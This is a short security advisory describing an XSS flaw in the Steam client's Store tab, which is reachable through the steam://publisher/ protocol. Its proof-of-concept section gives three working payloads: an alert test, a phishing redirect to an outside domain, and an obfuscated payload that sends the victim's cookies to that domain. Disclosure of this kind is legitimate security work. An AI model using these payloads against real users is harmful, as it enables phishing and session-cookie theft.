===========================================
- Description -
===========================================

It's possible to input JavaScript\HTML in Steam Store tab (inside
Steam App.), using the Steam
Protocol (steam://) which can be exploited in a html page.

"steam://publisher/<name> Loads the specified publisher catalogue in
the Store. Type the
publisher's name in lowercase, e.g. activision or valve."

When using a publisher name that doesn't exist, Steam Store sends the
value to the search
system, which is vulnerable to XSS.

Store tab in Steam doesn't show the URL. Phishing is possible just
redirecting the victim to
the fake site.

VALVE was contacted in May 10, but they didn't reply anything (May 18).

Works in Internet Explorer.
Tested under Windows XP SP 3 and Windows Vista.


===========================================
- Proof of Concept -
===========================================

[1] Alert with text xss
steam://publisher/<img%20src=a%20onerror=alert('xss')>

[2] PHISING (in this example, it redirects to falandodeseguranca.com )
steam://publisher/<img%20src=a%20
onerror=document.location.href='http'+String.fromCharCode(58,47,47)+'falandodeseguranca.com';>

[3] Getting cookies:
steam://publisher/<img%20src=a%20
onerror=document.location.href='http'+String.fromCharCode(58,47,47)+'falandodeseguranca.com'+String.fromCharCode(47)+document.cookie;>
